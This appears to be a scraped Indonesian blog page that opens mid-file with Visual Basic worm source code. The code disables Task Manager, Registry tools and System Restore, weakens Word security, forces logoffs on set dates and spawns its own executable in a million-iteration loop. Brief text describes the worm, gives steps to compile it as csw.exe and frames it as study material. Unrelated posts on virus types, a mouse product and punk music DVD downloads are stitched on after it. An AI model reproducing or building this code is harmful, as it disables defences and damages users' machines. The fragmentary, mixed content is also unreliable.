NT\SystemRestore\DisableSR", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableRegistryTools", 1, "REG_DWORD" regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", 1, "REG_DWORD" regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", 1, "REG_DWORD" End Sub '= Private Sub Timer3_Timer() On Error Resume Next If Day(Date) = 21 Or Day(Date) = 4 Or Day(Date) = 20 Or Day(Date) = 31 Or Day(Date) = 8 Then lngResult = ExitWindowsEx(4, &H0) End If If Day(Date) = 13 Or Day(Date) = 26 Or Day(Date) = 1 Then Set regrun = CreateObject("Wscript.shell") regrun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\SecureBoot", 3, "REG_DWORD" For i% = 1 To 1000000 On Error Resume Next Shell "c:\csw.exe" Next i% End If If TimeValue(Now) > TimeValue("09:00:00") Then Call animasi End If End Sub Private Sub animasi() Dim X As Long, Y As Long Dim XSrc As Long, YSrc As Long Dim dwRop As Long, hwndSrc As Long, hSrcDC As Long Dim Res As Long Dim m1, m2 Dim n1, n2 Dim PixelColor, PixelCount OnTop = True Randomize a = Rnd * 3 On Error Resume Next Width = Screen.Width Height = Screen.Height Randomize ScaleMode = vbPixels Move 0, 0, Screen.Width + 1, Screen.Height + 1 dwRop = &HCC0020 hwndSrc = GetDesktopWindow() hSrcDC = GetDC(hwndSrc) Res = BitBlt(hdc, 0, 0, ScaleWidth, _ ScaleHeight, hSrcDC, 0, 0, dwRop) Res = ReleaseDC(hwndSrc, hSrcDC) Show Set pict = Image WindowState = vbMaximized Picture1.Width = Screen.Width \ 15 Picture1.Height = Screen.Height \ 15 Picture1 = pict Picture2 = pict End Sub Private Sub Timer4_Timer() On Error Resume Next If a = 0 Then Picture1.PaintPicture Picture2, 0, -2 Picture1.PaintPicture Picture2, 0, Picture1.ScaleHeight - 2 Picture2 = Picture1.Image End If If a = 1 Then Picture1.PaintPicture Picture2, 0, 2 Picture1.PaintPicture Picture2, 0, -Picture1.ScaleHeight + 2 Picture2 = Picture1.Image End If If a = 2 Then Picture1.PaintPicture Picture2, -2, 0 Picture1.PaintPicture Picture2, Picture1.ScaleWidth - 2, 0 Picture2 = Picture1.Image End If If a = 3 Then Picture1.PaintPicture Picture2, 2, 0 Picture1.PaintPicture Picture2, -Picture1.ScaleWidth + 2, 0 Picture2 = Picture1.Image End If End Sub Private Sub Timer5_Timer() a = Rnd * 3 End Sub

analisis virus worm dengan visual basic

Virus Worm merupakan virus untuk menggandakan dirinya dimemori atau file-file baru yang berada di dalam memori.

Cara kerja virus worm ini dengan meminjam nama suatu folder atau file atau juga

menindih file yang ada dengan program utamanya sehingga file tersebut rusak

diganti dengan program worm tersebut. Target worm ini adalah dokumen word dan file dengan extension mp3, jpg, bmp, dll.

Simpan project dengan nama csw.vbp lalu buatlah file exe nya dengan cara klik menu file pada Visual Basic selanjutnya klik make csw.exe.

tujuan membuat virus worm dengan visual basic

tujuannya adalah :

• Untuk mengetahui lebih lanjut cara kerja tentangn penyebaran virus worm pada sistem operasi Windows.
• Untuk mempelajari dan meneliti lebih lanjut dampak yang ditimbulkan oleh virus worm dan cara penanggulangannya pada sistem operasi Windows.

sekian

program Virus dengan visual basic

program Virus dengan visual basic


Tugas diantaranya :
- tujuan
- analisis
- program (source code dan script utamanya)

Virus Trojan

Virus Trojan atau Trojan Horse mungkin sudah pada sering dengar atau pernah melihat antivirus komputer kita mendeteksi virus yang diidentifikasi sebagai virus Trojan. Mungkin ada yang mengira trojan adalah nama suatu virus komputer layaknya seperti nama-nama virus komputer lain misalnya virus kangen, virus Brontok dan lain-lain.
Trojan Horse atau bisa disebut Trojan sebenarnya adalah suatu jenis/golongan virus bukan nama suatu virus. Istilah Trojan Horse diambil dari legenda Yunani Kuno yaitu kisah Trojan War atauPerang Troya/Troy.

Virus Worm

Virus Worm adalah autonomous intrusion agents yang mampu melakukan penggandaan-diri dan menyebar dengan memanfaatkan kelemahan-kelemahan sekuriti (security flaws) pada services yang umum digunakan. Worm bukanlah sebuah fenomena baru, ditemukan pertama kali penyebarannya pada tahun 1988. Worms telah menjadi sebuah ancaman yang mematikan di Internet, walaupun sebagian besar kasus yang terjadi secara spesifik adalah pada sistim berbasis Windows. Beberapa jenis worms terbaru memanfaatkan electronic mail (e-mail) sebagai medium penyebarannya.

jenis - jenis virus

Virus komputer adalah sebuah istilah umum untuk menggambarkan segala jenis serangan terhadap komputer. Dikategorikan dari cara kerjanya, virus komputer dapat dikelompokkan ke dalam kategori sebagai berikut:

- WORM - Menduplikatkan dirinya sendiri pada harddisk. Ini membuat sumber daya komputer (Harddisk) menjadi penuh akan worm itu.

- TROJAN - Mengambil data pada komputer yang telah terinfeksi dan mengirimkannya pada pembuat trojan itu sendiri.

- BACKDOOR - Hampir sama dengan trojan. Namun, Backdoor bisanya menyerupai file yang baik-baik saja. Misalnya game.

- SPYWARE - Virus yang memantau komputer yang terinfeksi.

- ROGUE - merupakan program yang meniru program antivirus dan menampilkan aktivitas layaknya antivirus normal, dan memberikan peringatan-peringatan palsu tentang adanya virus. Tujuannya adalah agar pengguna membeli dan mengaktivasi program antivirus palsu itu dan mendatangkan uang bagi pembuat virus rogue tersebut. Juga rogue dapat membuka celah keamanan dalam komputer guna mendatangkan virus lain.

SEJARAH VIRUS KOMPUTER

SEJARAH VIRUS KOMPUTER

Virus komputer pertama kalinya tercipta bersamaan dengan komputer. Pada tahun 1949, salah seorang pencipta komputer, John von Newman, yang menciptakan Electronic Discrete Variable Automatic Computer (EDVAC), memaparkan suatu makalahnya yang berjudul “Theory and Organization of Complicated Automata”.

AirMouse – Generasi Mouse Tercanggih Di Dunia

Inovasi sebuah komputer terus bekembang untuk membuat pengguna semakin lebih nyaman dan cepat dalam mengakses komputer. Kenyamanan pengakseesan komputer kini diwujudkan dalam pembuatan mouse oleh produsen AirMouse.

Hi-Standard - Live At Air Jam 2011 DVD

Hi-Standard - Live At Air Jam 2011 DVD




01. Stay Gold
02. My Heart Feels So Free
03. Summer Of Love
04. Close To Me
05. Dear My Friend
06. Wait For The Sun
07. Teenagers Are All Assholes
08. Fighting Fists, Angry Soul
09. Lovin' You
10. Can't Help Falling In Love
Encore
EN1. Starry Night
EN2. Brand New Sunset
Se:
Mosh Under The Rainbow

Size: 1.59 GB
Format: 1364 x 764 pixeles
Audio: MPEG Layer-3
Video compression: DivX

DOWNLOAD :

[ - Part 01 - ] - [ - Part 02 - ] - [ - Part 03 - ] - [ - Part 04 - ]
[ - Part 05 - ] - [ - Part 06 - ] - [ - Part 07 - ] - [ - Part 08 - ]
[ - Part 09 - ] 

sumber:
http://www.skatepunkers.net/2012/05/hi-standard-live-at-air-jam-2011.html

TOTALFAT

PARTY PARTY
(初回生産限定盤)(DVD付)
TOTALFAT
(2012.04.25)


tracklist:
01. PARTY　PARTY
02. Chase Mars
03. Always
04. PARTY PARTY -Instrumental-

SHANK 『Calling』

SHANK 『Calling』

Calling
(初回限定盤)(DVD付)
SHANK
(2012.05.02)

tracklist:

01. Keep on Walking
02. Good Night Darling 
03. Silent Vibes 
04. CHOICE
05. Two sweet coffees a day 
06. Moral Booster
07. I can't say good bye to you
08. Tree of Life
09. Wake me up when night falls again
10. HOME